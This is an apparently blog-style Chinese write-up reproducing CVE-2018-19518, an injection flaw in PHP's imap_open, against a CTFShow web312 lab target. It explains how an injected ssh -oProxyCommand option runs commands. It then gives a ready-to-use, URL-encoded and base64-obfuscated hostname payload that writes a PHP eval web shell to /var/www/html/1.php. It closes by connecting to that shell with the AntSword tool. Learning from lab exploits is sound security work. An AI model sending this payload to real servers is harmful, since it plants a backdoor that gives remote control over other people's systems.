CVE-2018-19518复现和学习
漏洞描述
IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143。在php中调用的是imap_open函数
imap_open( string $mailbox,string $user,string $password)
其中参数mailbox,是用来连接邮箱服务器的。它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh来代替rsh 又因为ssh命令中可以通过设置oProxyCommand来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞。
ssh -oProxyCommand ="echo test123|tee /tmp/executed"localhost
执行后可以看到尽管没有连接成功,但是我们成功的把命令写入到了文件,所以这也就是我们系统被攻击的成因
影响版本 php:5.6.38 系统:Debian/ubuntu
漏洞利用
这里用 CTFShow web312的环境来作为靶机复现 
x+-oProxyCommand=echo echo '<?php eval($_POST[1]);' > /var/www/html/1.php|base64 -d|sh}
-d选项为decode解码
%3d =
%09 TAB
管道符sh,就是把echo '<?php eval($_POST[1]);' > /var/www/html/1.php 解码以后作为shell脚本的参数,
最后在通过ProxyCommand来执行shell
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=123&password=123
 执行后可以看到尽管没有连接成功,但是我们成功的把命令写入到了文件,访问 1.php 看看  直接上蚁剑省事 
|